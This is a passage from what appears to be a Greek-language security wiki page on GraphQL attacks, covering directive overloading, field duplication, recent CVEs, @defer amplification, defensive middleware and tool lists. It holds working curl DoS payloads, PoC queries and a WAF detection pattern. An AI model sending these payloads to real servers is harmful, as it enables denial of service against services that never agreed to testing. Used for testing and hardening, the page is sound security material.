Σε αυτό το παράδειγμα, 10 διαφορετικά queries ομαδοποιούνται σε ένα request, αναγκάζοντας τον server να τα εκτελέσει όλα ταυτόχρονα. Αν εκμεταλλευτεί με μεγαλύτερο batch size ή με computationally expensive queries, μπορεί να υπερφορτώσει τον server.

Directive Overloading Vulnerability

Directive Overloading συμβαίνει όταν ένας GraphQL server επιτρέπει queries με υπερβολικά, διπλότυπα directives. Αυτό μπορεί να καταπονήσει τον parser και τον executor του server, ιδιαίτερα αν ο server επεξεργάζεται επανειλημμένα την ίδια λογική των directives. Χωρίς σωστή validation ή όρια, ένας attacker μπορεί να εκμεταλλευτεί αυτό δημιουργώντας ένα query με πολλαπλά duplicate directives για να προκαλέσει υψηλή computational ή memory usage, οδηγώντας σε Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Σημειώστε ότι στο προηγούμενο παράδειγμα @aa είναι μια προσαρμοσμένη οδηγία που ενδέχεται να μην έχει δηλωθεί. Μια κοινή οδηγία που συνήθως υπάρχει είναι @include:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Μπορείτε επίσης να στείλετε ένα introspection query για να ανακαλύψετε όλες τις δηλωμένες directives:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

Και μετά χρησιμοποίησε μερικά από τα προσαρμοσμένα.

Field Duplication Vulnerability

Field Duplication είναι μια ευπάθεια όπου ένας GraphQL διακομιστής επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επανειλημμένα για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις στη βάση δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Πρόσφατες Ευπάθειες (2023-2025)

Το οικοσύστημα GraphQL εξελίσσεται πολύ γρήγορα· τα τελευταία δύο χρόνια αποκαλύφθηκαν αρκετά κρίσιμα ζητήματα στις πιο χρησιμοποιούμενες βιβλιοθήκες server. Όταν βρείτε ένα GraphQL endpoint αξίζει επομένως να κάνετε fingerprinting του engine (βλ. graphw00f) και να ελέγξετε την τρέχουσα έκδοση σε σχέση με τις ευπάθειες παρακάτω.

CVE-2024-47614 – async-graphql directive-overload DoS (Rust)

  • Επηρεαζόμενο: async-graphql < 7.0.10 (Rust)
  • Αιτία: απουσία ορίου στις duplicated directives (π.χ. χιλιάδες @include) που επεκτείνονται σε εκθετικό αριθμό κόμβων εκτέλεσης.
  • Επίπτωση: ένα μόνο HTTP αίτημα μπορεί να εξαντλήσει CPU/RAM και να καταρρεύσει η υπηρεσία.
  • Διόρθωση/αποτροπή: αναβαθμίστε σε ≥ 7.0.10 ή καλέστε SchemaBuilder.limit_directives(); εναλλακτικά φιλτράρετε αιτήματα με κανόνα WAF όπως "@include.*@include.*@include".
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java ENF depth/complexity bypass

  • Πληγέντα: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • Βασική αιτία: Οι ExecutableNormalizedFields δεν ελήφθησαν υπόψη από την instrumentation MaxQueryDepth / MaxQueryComplexity. Επομένως, τα αναδρομικά fragments παρέκαμψαν όλα τα όρια.
  • Επίπτωση: μη αυθεντικοποιημένο DoS εναντίον Java stacks που ενσωματώνουν graphql-java (Spring Boot, Netflix DGS, Atlassian products…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – WPGraphQL SSRF to RCE chain

  • Επηρεασμένο: WPGraphQL ≤ 1.14.5 (WordPress plugin).
  • Βασική αιτία: η createMediaItem mutation δεχόταν URLs ελεγχόμενα από τον επιτιθέμενο filePath, επιτρέποντας πρόσβαση στο εσωτερικό δίκτυο και εγγραφή αρχείων.
  • Επίπτωση: εξουσιοδοτημένοι Editors/Authors μπορούσαν να φτάσουν endpoints μεταδεδομένων ή να γράψουν αρχεία PHP για remote code execution.

Κατάχρηση της σταδιακής παράδοσης: @defer / @stream

Από το 2023, οι περισσότερες μεγάλες υλοποιήσεις server (Apollo 4, GraphQL-Java 20+, HotChocolate 13) εφάρμοσαν τις οδηγίες για τη σταδιακή παράδοση που ορίζει το GraphQL-over-HTTP WG. Κάθε deferred patch αποστέλλεται ως separate chunk, οπότε το συνολικό μέγεθος της απόκρισης γίνεται N + 1 (envelope + patches). Ένα query που περιέχει χιλιάδες μικρά deferred fields παράγει επομένως μια μεγάλη απόκριση ενώ κοστίζει στον επιτιθέμενο μόνο ένα αίτημα — ένας κλασικός amplification DoS και ένας τρόπος για να παρακαμφθούν κανόνες WAF που ελέγχουν μόνο το πρώτο chunk. Τα μέλη του WG οι ίδιοι επισήμαναν τον κίνδυνο.

Παράδειγμα payload που δημιουργεί 2 000 patches:

query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

Αντιμετώπιση: απενεργοποιήστε @defer/@stream σε production ή επιβάλετε max_patches, συσσωρευτικό max_bytes και χρόνο εκτέλεσης. Βιβλιοθήκες όπως graphql-armor (βλέπε παρακάτω) ήδη επιβάλλουν λογικές προεπιλογές.


Αμυντικό middleware (2024+)

ProjectΣημειώσεις
graphql-armorMiddleware επικύρωσης για Node/TypeScript που δημοσιεύθηκε από την Escape Tech. Ενσωματώνει plug-and-play όρια για το βάθος του query, μετρήσεις alias/field/directive, tokens και κόστος· συμβατό με Apollo Server, GraphQL Yoga/Envelop, Helix, κ.λπ.

Γρήγορη εκκίνηση:

import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor πλέον θα μπλοκάρει υπερβολικά βαθιές, πολύπλοκες ή με πολλές directives ερωτήσεις, προστατεύοντας από τα παραπάνω CVEs.


Tools

Vulnerability scanners

  • https://github.com/dolevf/graphql-cop: Δοκιμάζει κοινές λανθασμένες ρυθμίσεις (misconfigurations) σε graphql endpoints
  • https://github.com/assetnote/batchql: script ελέγχου ασφαλείας για GraphQL με έμφαση στην εκτέλεση batch GraphQL queries και mutations.
  • https://github.com/dolevf/graphw00f: Εντοπίζει ποιο GraphQL χρησιμοποιείται (fingerprint)
  • https://github.com/gsmith257-cyber/GraphCrawler: Σετ εργαλείων που μπορεί να χρησιμοποιηθεί για λήψη schemas και αναζήτηση ευαίσθητων δεδομένων, έλεγχο authorization, brute force σε schemas, και εύρεση μονοπατιών προς έναν δεδομένο τύπο.
  • https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Μπορεί να χρησιμοποιηθεί ως standalone ή Burp extension.
  • https://github.com/swisskyrepo/GraphQLmap: Μπορεί να χρησιμοποιηθεί και ως CLI client για αυτοματοποίηση επιθέσεων: python3 graphqlmap.py -u http://example.com/graphql --inject
  • https://gitlab.com/dee-see/graphql-path-enum: Εργαλείο που καταγράφει τους διαφορετικούς τρόπους προσέγγισης ενός δεδομένου τύπου σε ένα GraphQL schema.
  • https://github.com/doyensec/GQLSpection: Ο διάδοχος των Standalone και CLI Modes του InQL
  • https://github.com/doyensec/inql: Burp extension ή python script για προχωρημένες δοκιμές GraphQL. Ο/Η Scanner είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα GraphQL endpoint ή ένα τοπικό introspection schema αρχείο. Δημιουργεί αυτόματα όλες τις πιθανές queries και mutations, οργανώνοντάς τες σε μια δομημένη προβολή για την ανάλυσή σας. Το component Attacker σας επιτρέπει να τρέξετε batch GraphQL attacks, χρήσιμο για την παράκαμψη κακώς υλοποιημένων rate limits: python3 inql.py -t http://example.com/graphql -o output.json
  • https://github.com/nikitastupin/clairvoyance: Προσπαθεί να αποκτήσει το schema ακόμα κι αν η introspection είναι απενεργοποιημένη, χρησιμοποιώντας τη βοήθεια κάποιων GraphQL βάσεων που θα προτείνουν ονόματα mutations και παραμέτρων.

Scripts to exploit common vulnerabilities

Clients

Automatic Tests

https://graphql-dashboard.herokuapp.com/

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks